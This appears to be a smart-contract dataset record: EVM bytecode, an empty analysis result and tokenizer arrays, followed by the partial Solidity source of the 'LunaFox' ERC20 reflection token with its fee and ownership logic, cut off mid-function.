5180910390205414613903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138fa90614ac7565b60405180910390fd5b81600b8560405161391491906145e4565b90815260200160405180910390208190555050505050565b613934611c67565b15613974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161396b906148c7565b60405180910390fd5b61397f838383612ded565b505050565b505050565b600061399c61399784614c2e565b614c09565b9050828152602081018484840111156139b8576139b7614f9c565b5b6139c3848285614dd4565b509392505050565b6000813590506139da816158c1565b92915050565b60008083601f8401126139f6576139f5614f83565b5b8235905067ffffffffffffffff811115613a1357613a12614f7e565b5b602083019150836020820283011115613a2f57613a2e614f92565b5b9250929050565b60008083601f840112613a4c57613a4b614f83565b5b8235905067ffffffffffffffff811115613a6957613a68614f7e565b5b602083019150836020820283011115613a8557613a84614f92565b5b9250929050565b60008083601f840112613aa257613aa1614f83565b5b8235905067ffffffffffffffff811115613abf57613abe614f7e565b5b602083019150836020820283011115613adb57613ada614f92565b5b9250929050565b60008083601f840112613af857613af7614f83565b5b8235905067ffffffffffffffff811115613b1557613b14614f7e565b5b602083019150836020820283011115613b3157613b30614f92565b5b9250929050565b600081359050613b47816158d8565b92915050565b600081519050613b5c816158d8565b92915050565b600081359050613b71816158ef565b92915050565b600082601f830112613b8c57613b8b614f83565b5b8135613b9c848260208601613989565b91505092915050565b600081359050613bb481615906565b92915050565b600081519050613bc981615906565b92915050565b600060208284031215613be557613be4614fa6565b5b6000613bf3848285016139cb565b91505092915050565b60008060408385031215613c1357613c12614fa6565b5b6000613c21858286016139cb565b9250506020613c32858286016139cb565b9150509250929050565b600080600060608486031215613c5557613c54614fa6565b5b6000613c63868287016139cb565b9350506020613c74868287016139cb565b9250506040613c8586828701613ba5565b9150509250925092565b60008060408385031215613ca657613ca5614fa6565b5b6000613cb4858286016139cb565b9250506020613cc585828601613ba5565b9150509250929050565b60008060008060408587031215613ce957613ce8614fa6565b5b600085013567ffffffffffffffff811115613d0757613d06614fa1565b5b613d1387828801613a8c565b9450945050602085013567ffffffffffffffff811115613d3657613d35614fa1565b5b613d42878288016139e0565b925092505092959194509250565b60008060008060408587031215613d6a57613d69614fa6565b5b600085013567ffffffffffffffff811115613d8857613d87614fa1565b5b613d9487828801613a8c565b9450945050602085013567ffffffffffffffff811115613db757613db6614fa1565b5b613dc387828801613a36565b925092505092959194509250565b60008060008060408587031215613deb57613dea614fa6565b5b600085013567ffffffffffffffff811115613e0957613e08614fa1565b5b613e1587828801613a8c565b9450945050602085013567ffffffffffffffff811115613e3857613e37614fa1565b5b613e4487828801613ae2565b925092505092959194509250565b600060208284031215613e6857613e67614fa6565b5b6000613e7684828501613b38565b91505092915050565b600060208284031215613e9557613e94614fa6565b5b6000613ea384828501613b4d565b91505092915050565b600060208284031215613ec257613ec1614fa6565b5b600082013567ffffffffffffffff811115613ee057613edf614fa1565b5b613eec84828501613b77565b91505092915050565b60008060408385031215613f0c57613f0b614fa6565b5b600083013567ffffffffffffffff811115613f2a57613f29614fa1565b5b613f3685828601613b77565b925050602083013567ffffffffffffffff811115613f5757613f56614fa1565b5b613f6385828601613b77565b9150509250929050565b600060208284031215613f8357613f82614fa6565b5b6000613f9184828501613ba5565b91505092915050565b600060208284031215613fb057613faf614fa6565b5b6000613fbe84828501613bba565b91505092915050565b60008060008060808587031215613fe157613fe0614fa6565b5b6000613fef87828801613ba5565b945050602085013567ffffffffffffffff8111156140105761400f614fa1565b5b61401c87828801613b77565b935050604085013567ffffffffffffffff81111561403d5761403c614fa1565b5b61404987828801613b77565b925050606061405a87828801613b62565b91505092959194509250565b61406f81614d75565b82525050565b61407e81614d87565b82525050565b61408d81614d93565b82525050565b600061409e82614c5f565b6140a88185614c75565b93506140b8818560208601614de3565b6140c181614fab565b840191505092915050565b60006140d782614c5f565b6140e18185614c86565b93506140f1818560208601614de3565b80840191505092915050565b600061410a602383614c75565b915061411582614fbc565b604082019050919050565b600061412d602583614c75565b91506141388261500b565b604082019050919050565b6000614150601483614c75565b915061415b8261505a565b602082019050919050565b6000614173602a83614c75565b915061417e82615083565b604082019050919050565b6000614196602283614c75565b91506141a1826150d2565b604082019050919050565b60006141b9602683614c75565b91506141c482615121565b604082019050919050565b60006141dc602283614c75565b91506141e782615170565b604082019050919050565b60006141ff603183614c75565b915061420a826151bf565b604082019050919050565b6000614222601d83614c75565b915061422d8261520e565b602082019050919050565b6000614245602683614c75565b915061425082615237565b604082019050919050565b6000614268603783614c75565b915061427382615286565b604082019050919050565b600061428b601d83614c75565b9150614296826152d5565b602082019050919050565b60006142ae603f83614c75565b91506142b9826152fe565b604082019050919050565b60006142d1603b83614c75565b91506142dc8261534d565b604082019050919050565b60006142f4601083614c75565b91506142ff8261539c565b602082019050919050565b6000614317604183614c75565b9150614322826153c5565b606082019050919050565b600061433a601383614c75565b91506143458261543a565b602082019050919050565b600061435d604083614c75565b915061436882615463565b604082019050919050565b6000614380601883614c75565b915061438b826154b2565b602082019050919050565b60006143a3602b83614c75565b91506143ae826154db565b604082019050919050565b60006143c6603783614c75565b91506143d18261552a565b604082019050919050565b60006143e9602083614c75565b91506143f482615579565b602082019050919050565b600061440c602183614c75565b9150614417826155a2565b604082019050919050565b600061442f602c83614c75565b915061443a826155f1565b604082019050919050565b6000614452602583614c75565b915061445d82615640565b604082019050919050565b6000614475601a83614c75565b91506144808261568f565b602082019050919050565b6000614498601c83614c75565b91506144a3826156b8565b602082019050919050565b60006144bb600083614c6a565b91506144c6826156e1565b600082019050919050565b60006144de602483614c75565b91506144e9826156e4565b604082019050919050565b6000614501602e83614c75565b915061450c82615733565b604082019050919050565b6000614524602383614c75565b915061452f82615782565b604082019050919050565b6000614547601683614c75565b9150614552826157d1565b602082019050919050565b600061456a602583614c75565b9150614575826157fa565b604082019050919050565b600061458d603083614c75565b915061459882615849565b604082019050919050565b60006145b0601f83614c75565b91506145bb82615898565b602082019050919050565b6145cf81614dbd565b82525050565b6145de81614dc7565b82525050565b60006145f082846140cc565b915081905092915050565b600061460782856140cc565b915061461382846140cc565b91508190509392505050565b600061462a826144ae565b9150819050919050565b60006020820190506146496000830184614066565b92915050565b60006060820190506146646000830186614066565b6146716020830185614066565b61467e60408301846145c6565b949350505050565b600060408201905061469b6000830185614066565b6146a860208301846145c6565b9392505050565b60006020820190506146c46000830184614075565b92915050565b60006020820190506146df6000830184614084565b92915050565b600060208201905081810360008301526146ff8184614093565b905092915050565b60006020820190508181036000830152614720816140fd565b9050919050565b6000602082019050818103600083015261474081614120565b9050919050565b6000602082019050818103600083015261476081614143565b9050919050565b6000602082019050818103600083015261478081614166565b9050919050565b600060208201905081810360008301526147a081614189565b9050919050565b600060208201905081810360008301526147c0816141ac565b9050919050565b600060208201905081810360008301526147e0816141cf565b9050919050565b60006020820190508181036000830152614800816141f2565b9050919050565b6000602082019050818103600083015261482081614215565b9050919050565b6000602082019050818103600083015261484081614238565b9050919050565b600060208201905081810360008301526148608161425b565b9050919050565b600060208201905081810360008301526148808161427e565b9050919050565b600060208201905081810360008301526148a0816142a1565b9050919050565b600060208201905081810360008301526148c0816142c4565b9050919050565b600060208201905081810360008301526148e0816142e7565b9050919050565b600060208201905081810360008301526149008161430a565b9050919050565b600060208201905081810360008301526149208161432d565b9050919050565b6000602082019050818103600083015261494081614350565b9050919050565b6000602082019050818103600083015261496081614373565b9050919050565b6000602082019050818103600083015261498081614396565b9050919050565b600060208201905081810360008301526149a0816143b9565b9050919050565b600060208201905081810360008301526149c0816143dc565b9050919050565b600060208201905081810360008301526149e0816143ff565b9050919050565b60006020820190508181036000830152614a0081614422565b9050919050565b60006020820190508181036000830152614a2081614445565b9050919050565b60006020820190508181036000830152614a4081614468565b9050919050565b60006020820190508181036000830152614a608161448b565b9050919050565b60006020820190508181036000830152614a80816144d1565b9050919050565b60006020820190508181036000830152614aa0816144f4565b9050919050565b60006020820190508181036000830152614ac081614517565b9050919050565b60006020820190508181036000830152614ae08161453a565b9050919050565b60006020820190508181036000830152614b008161455d565b9050919050565b60006020820190508181036000830152614b2081614580565b9050919050565b60006020820190508181036000830152614b40816145a3565b9050919050565b6000602082019050614b5c60008301846145c6565b92915050565b6000604082019050614b7760008301856145c6565b614b8460208301846145c6565b9392505050565b6000602082019050614ba060008301846145d5565b92915050565b60008083356001602003843603038112614bc357614bc2614f8d565b5b80840192508235915067ffffffffffffffff821115614be557614be4614f88565b5b602083019250600182023603831315614c0157614c00614f97565b5b509250929050565b6000614c13614c24565b9050614c1f8282614e48565b919050565b6000604051905090565b600067ffffffffffffffff821115614c4957614c48614f4f565b5b614c5282614fab565b9050602081019050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600081905092915050565b6000614c9c82614dbd565b9150614ca783614dbd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614cdc57614cdb614ec2565b5b828201905092915050565b6000614cf282614dbd565b9150614cfd83614dbd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614d3657614d35614ec2565b5b828202905092915050565b6000614d4c82614dbd565b9150614d5783614dbd565b925082821015614d6a57614d69614ec2565b5b828203905092915050565b6000614d8082614d9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015614e01578082015181840152602081019050614de6565b83811115614e10576000848401525b50505050565b60006002820490506001821680614e2e57607f821691505b60208210811415614e4257614e41614ef1565b5b50919050565b614e5182614fab565b810181811067ffffffffffffffff82111715614e7057614e6f614f4f565b5b80604052505050565b6000614e8482614dbd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614eb757614eb6614ec2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4d696e74696e67206973206e6f7420616c6c6f77656420617420746865206d6f60008201527f6d656e742e000000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f427579696e6720746f6b656e73206973206e6f7420616374697665206174207460008201527f6865206d6f6d656e742e00000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54686520636f6e747261637420646f6573206e6f74206861766520612062616c60008201527f616e636520746f2077697468647261772e000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f60008201527f6b656e7320666f7220796f75722070757263686173652e000000000000000000602082015250565b7f4e6f7420656e6f7567682045544820746f2062757920746f6b656e732e000000600082015250565b7f436f6e747261637420646f6573206e6f74206861766520656e6f75676820667560008201527f6e647320746f20616363657074207468652073656c6c20726571756573742e00602082015250565b7f54686520636f6e747261637420646f6573206e6f74206861766520656e6f756760008201527f68206f6620612062616c616e636520746f2077697468647261772e0000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f596f75722062616c616e6365206973206c6f776572207468616e20746865206160008201527f6d6f756e74206f6620746f6b656e7320796f752077616e7420746f2073656c6c60208201527f2e00000000000000000000000000000000000000000000000000000000000000604082015250565b7f4661696c656420746f2073656e64204554482e00000000000000000000000000600082015250565b7f436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f60008201527f6b656e7320666f7220796f7520746f20636c61696d207269676874206e6f772e602082015250565b7f4661696c656420746f2073656e642077697468647261772e0000000000000000600082015250565b7f53656c6c696e6720746f6b656e73206973206e6f74206163746976652061742060008201527f746865206d6f6d656e742e000000000000000000000000000000000000000000602082015250565b7f596f75722062616c616e6365206973206c6f776572207468616e20746865206160008201527f6d6f756e74206f6620746f6b656e73206e65656465642e000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f436c61696d696e6720746f6b656e73206973206e6f742061637469766520617460008201527f20746865206d6f6d656e742e0000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4661696c656420746f207472616e7366657220746f6b656e732e000000000000600082015250565b7f53656e642045544820746f2062757920736f6d6520746f6b656e732e00000000600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f5370656369667920616e20616d6f756e74206f6620746f6b656e73206772656160008201527f746572207468616e207a65726f2e000000000000000000000000000000000000602082015250565b7f596f75206861766520746f20636c61696d206174206c65617374203120746f6b60008201527f656e2e0000000000000000000000000000000000000000000000000000000000602082015250565b7f41757468656e7469636174696f6e206661696c65642100000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f53656e64696e6720746f6b656e73206261636b206973206e6f7420616374697660008201527f6520617420746865206d6f6d656e742e00000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6158ca81614d75565b81146158d557600080fd5b50565b6158e181614d87565b81146158ec57600080fd5b50565b6158f881614d93565b811461590357600080fd5b50565b61590f81614dbd565b811461591a57600080fd5b5056fea2646970667358221220925706d9db3f5f492779357cbdc9b3d126f111669b5a5b1648c661ef8695555d64736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 14142, 2620, 2063, 2692, 2629, 8447, 2546, 2692, 19317, 2050, 22394, 7011, 2575, 2546, 2575, 2546, 2475, 3401, 2475, 8586, 11387, 2620, 2581, 2475, 2094, 2620, 2546, 2575, 2683, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 1013, 1013, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1035, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1032, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1005, 1035, 1035, 1013, 1035, 1036, 1064, 1005, 1035, 1032, 1013, 1035, 1036, 1064, 1005, 1035, 1032, 1013, 1035, 1036, 1064, 1013, 1013, 1035, 1032, 1032, 1064, 1005, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,696
0x9730d3537227ca4988ca8dc986de9df21b9811e1
/** 🎰 LunaFox Token 🚀 $LUFX ✅ Official launch 12/19 http://lunafoxtoken.com */ pragma solidity 0.8.9; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}( data ); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract LunaFox is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) public _lastBuyTime; mapping(address => bool) private _isExcluded; address[] private _excluded; mapping(address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public cooldown = 0 seconds; string private _name = "LunaFox"; string private _symbol = "LUFX"; uint8 private _decimals = 9; uint256 public _taxFee = 1; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 10; uint256 private _previousLiquidityFee = _liquidityFee; address payable public _devWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public _antigen = true; uint256 public _maxTxAmount = 500000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 1 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event antiWaleUpdate(bool enabled); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address payable devWalletAddress) { _devWalletAddress = devWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer( 0x0000000000000000000000000000000000000000, _msgSender(), _tTotal ); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setDevFeeDisabled(bool _devFeeEnabled) public returns (bool) { require( msg.sender == _devWalletAddress, "Only Dev Address can disable dev fee" ); swapAndLiquifyEnabled = _devFeeEnabled; return (swapAndLiquifyEnabled); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require( !_isExcluded[sender], "Excluded addresses cannot call this function" ); (uint256 rAmount, 